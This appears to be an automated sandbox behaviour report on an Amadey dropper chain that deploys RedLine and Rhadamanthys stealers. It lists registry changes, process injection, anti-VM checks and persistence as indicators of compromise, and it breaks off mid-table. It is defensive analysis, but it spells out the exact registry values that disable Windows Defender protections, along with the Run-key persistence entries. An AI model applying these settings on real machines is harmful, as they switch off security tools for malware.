amadey | 1986ce42772cf422f1d2da38a071eeb282c805ce5a65fb13dcc04b7c2d9077a5

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

mx7469Yi.exens8020nO.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	mx7469Yi.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	mx7469Yi.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	ns8020nO.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	ns8020nO.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	mx7469Yi.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	mx7469Yi.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	mx7469Yi.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	mx7469Yi.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	ns8020nO.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	ns8020nO.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	ns8020nO.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 21 IoCs

Processes:

resource	yara_rule
behavioral1/memory/844-148-0x0000000003290000-0x00000000032D6000-memory.dmp	family_redline
behavioral1/memory/844-149-0x0000000004730000-0x0000000004774000-memory.dmp	family_redline
behavioral1/memory/844-150-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-151-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-155-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-159-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-161-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-163-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-165-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-167-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-169-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-173-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-175-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-179-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-181-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-183-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-177-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-171-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-157-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-153-0x0000000004730000-0x000000000476E000-memory.dmp	family_redline
behavioral1/memory/844-1059-0x00000000046F0000-0x0000000004730000-memory.dmp	family_redline

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Enumerates VirtualBox registry keys 2 TTPs 5 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

serv.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	serv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxVideo	serv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	serv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse	serv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxService	serv.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

serv.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	serv.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__	serv.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__	serv.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

serv.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions serv.exe
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

16 1572 powershell.exe
19 1572 powershell.exe
20 1544 powershell.exe
23 1544 powershell.exe
Downloads MZ/PE file
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

serv.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools serv.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	serv.exe

flow	pid	process
16	1572	powershell.exe
19	1572	powershell.exe
20	1544	powershell.exe
23	1544	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	serv.exe

.NET Reactor proctector 9 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000112001\Good.exe	net_reactor
\Users\Admin\AppData\Local\Temp\1000112001\Good.exe	net_reactor
C:\Users\Admin\AppData\Local\Temp\1000112001\Good.exe	net_reactor
\Users\Admin\AppData\Local\Temp\1000112001\Good.exe	net_reactor
C:\Users\Admin\AppData\Local\Temp\1000112001\Good.exe	net_reactor
behavioral1/memory/752-1101-0x0000000000B90000-0x0000000001104000-memory.dmp	net_reactor
behavioral1/memory/752-1102-0x0000000000910000-0x000000000099E000-memory.dmp	net_reactor
\Users\Admin\AppData\Local\Temp\1000112001\Good.exe	net_reactor
C:\Users\Admin\AppData\Local\Temp\1000112001\Good.exe	net_reactor

Checks BIOS information in registry 2 TTPs 3 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

serv.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	serv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	serv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	serv.exe

Executes dropped EXE 15 IoCs

Processes:

will8944.exewill4062.exewill5034.exemx7469Yi.exens8020nO.exepy79oo52.exeqs3105Pe.exery93gP66.exelegenda.exeGood.exeGood.exesqlcmd.exesqlcmd.exelegenda.exeserv.exe

pid	process
1700	will8944.exe
468	will4062.exe
1628	will5034.exe
1632	mx7469Yi.exe
1164	ns8020nO.exe
844	py79oo52.exe
1556	qs3105Pe.exe
1080	ry93gP66.exe
564	legenda.exe
752	Good.exe
916	Good.exe
1952	sqlcmd.exe
1288	sqlcmd.exe
1372	legenda.exe
972	serv.exe

Loads dropped DLL 33 IoCs

Processes:

361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exewill8944.exewill4062.exewill5034.exens8020nO.exepy79oo52.exeqs3105Pe.exery93gP66.exelegenda.exeGood.exesqlcmd.exesqlcmd.exeserv.exerundll32.exe

pid	process
1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe
1700	will8944.exe
1700	will8944.exe
468	will4062.exe
468	will4062.exe
1628	will5034.exe
1628	will5034.exe
1628	will5034.exe
1628	will5034.exe
1164	ns8020nO.exe
468	will4062.exe
468	will4062.exe
844	py79oo52.exe
1700	will8944.exe
1556	qs3105Pe.exe
1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe
1080	ry93gP66.exe
1080	ry93gP66.exe
564	legenda.exe
564	legenda.exe
752	Good.exe
752	Good.exe
564	legenda.exe
1952	sqlcmd.exe
564	legenda.exe
1288	sqlcmd.exe
564	legenda.exe
564	legenda.exe
972	serv.exe
1164	rundll32.exe
1164	rundll32.exe
1164	rundll32.exe
1164	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 4 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

ns8020nO.exemx7469Yi.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features	ns8020nO.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	ns8020nO.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	mx7469Yi.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	mx7469Yi.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

will5034.exeGood.exe361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exewill8944.exewill4062.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce	will5034.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	will5034.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Windows\CurrentVersion\Run\MyTestApplication = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000112001\\Good.exe"	Good.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	will8944.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	will4062.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce	will8944.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce	will4062.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks system information in the registry 2 TTPs 2 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

serv.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	serv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	serv.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

serv.exe

pid process

972 serv.exe
972 serv.exe
972 serv.exe
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

serv.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN serv.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
972	serv.exe
972	serv.exe
972	serv.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	serv.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

serv.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	serv.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	serv.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	serv.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1164 schtasks.exe

pid	process
1164	schtasks.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

legenda.exesqlcmd.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	legenda.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	legenda.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	legenda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	sqlcmd.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	sqlcmd.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXE

pid process

1512 PING.EXE
1700 PING.EXE
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

1572 powershell.exe
1544 powershell.exe

pid	process
1512	PING.EXE
1700	PING.EXE

pid	process
1572	powershell.exe
1544	powershell.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

Processes:

mx7469Yi.exens8020nO.exepy79oo52.exeqs3105Pe.exeGood.exepowershell.exepowershell.exeserv.exe

pid	process
1632	mx7469Yi.exe
1632	mx7469Yi.exe
1164	ns8020nO.exe
1164	ns8020nO.exe
844	py79oo52.exe
844	py79oo52.exe
1556	qs3105Pe.exe
1556	qs3105Pe.exe
752	Good.exe
752	Good.exe
1572	powershell.exe
1544	powershell.exe
972	serv.exe
972	serv.exe
972	serv.exe
972	serv.exe
972	serv.exe
972	serv.exe
972	serv.exe
972	serv.exe
972	serv.exe
972	serv.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

mx7469Yi.exens8020nO.exepy79oo52.exeqs3105Pe.exeGood.exepowershell.exepowershell.exeserv.exe

description	pid	process
Token: SeDebugPrivilege	1632	mx7469Yi.exe
Token: SeDebugPrivilege	1164	ns8020nO.exe
Token: SeDebugPrivilege	844	py79oo52.exe
Token: SeDebugPrivilege	1556	qs3105Pe.exe
Token: SeDebugPrivilege	752	Good.exe
Token: SeDebugPrivilege	1572	powershell.exe
Token: SeDebugPrivilege	1544	powershell.exe
Token: SeShutdownPrivilege	972	serv.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exewill8944.exewill4062.exewill5034.exery93gP66.exelegenda.exe

description	pid	process	target process
PID 1476 wrote to memory of 1700	1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe	will8944.exe
PID 1476 wrote to memory of 1700	1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe	will8944.exe
PID 1476 wrote to memory of 1700	1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe	will8944.exe
PID 1476 wrote to memory of 1700	1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe	will8944.exe
PID 1476 wrote to memory of 1700	1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe	will8944.exe
PID 1476 wrote to memory of 1700	1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe	will8944.exe
PID 1476 wrote to memory of 1700	1476	361dda6d1052d40b13116e82e39e6e572bf6f10e838809053409e4f2c7adc779.exe	will8944.exe
PID 1700 wrote to memory of 468	1700	will8944.exe	will4062.exe
PID 1700 wrote to memory of 468	1700	will8944.exe	will4062.exe
PID 1700 wrote to memory of 468	1700	will8944.exe	will4062.exe
PID 1700 wrote to memory of 468	1700	will8944.exe	will4062.exe
PID 1700 wrote to memory of 468	1700	will8944.exe	will4062.exe
PID 1700 wrote to memory of 468	1700	will8944.exe	will4062.exe
PID 1700 wrote to memory of 468	1700	will8944.exe	will4062.exe
PID 468 wrote to memory of 1628	468	will4062.exe	will5034.exe
PID 468 wrote to memory of 1628	468	will4062.exe	will5034.exe
PID 468 wrote to memory of 1628	468	will4062.exe	will5034.exe
PID 468 wrote to memory of 1628	468	will4062.exe	will5034.exe
PID 468 wrote to memory of 1628	468	will4062.exe	will5034.exe
PID 468 wrote to memory of 1628	468	will4062.exe	will5034.exe
PID 468 wrote to memory of 1628	468	will4062.exe	will5034.exe
PID 1628 wrote to memory of 1632	1628	will5034.exe	mx7469Yi.exe
PID 1628 wrote to memory of 1632	1628	will5034.exe	mx7469Yi.exe
PID 1628 wrote to memory of 1632	1628	will5034.exe	mx7469Yi.exe
PID 1628 wrote to memory of 1632	1628	will5034.exe	mx7469Yi.exe
PID 1628 wrote to memory of 1632	1628	will5034.exe	mx7469Yi.exe
PID 1628 wrote to memory of 1632	1628	will5034.exe	mx7469Yi.exe
PID 1628 wrote to memory of 1632	1628	will5034.exe	mx7469Yi.exe
PID 1628 wrote to memory of 1164	1628	will5034.exe	ns8020nO.exe
PID 1628 wrote to memory of 1164	1628	will5034.exe	ns8020nO.exe
PID 1628 wrote to memory of 1164	1628	will5034.exe	ns8020nO.exe
PID 1628 wrote to memory of 1164	1628	will5034.exe	ns8020nO.exe
PID 1628 wrote to memory of 1164	1628	will5034.exe	ns8020nO.exe
PID 1628 wrote to memory of 1164	1628	will5034.exe	ns8020nO.exe
PID 1628 wrote to memory of 1164	1628	will5034.exe	ns8020nO.exe
PID 468 wrote to memory of 844	468	will4062.exe	py79oo52.exe
PID 468 wrote to memory of 844	468	will4062.exe	py79oo52.exe
PID 468 wrote to memory of 844	468	will4062.exe	py79oo52.exe
PID 468 wrote to memory of 844	468	will4062.exe	py79oo52.exe
PID 468 wrote to memory of 844	468	will4062.exe	py79oo52.exe
PID 468 wrote to memory of 844	468	will4062.exe	py79oo52.exe
PID 468 wrote to memory of 844	468	will4062.exe	py79oo52.exe
PID 1700 wrote to memory of 1556	1700	will8944.exe	qs3105Pe.exe
PID 1700 wrote to memory of 1556	1700	will8944.exe	qs3105Pe.exe
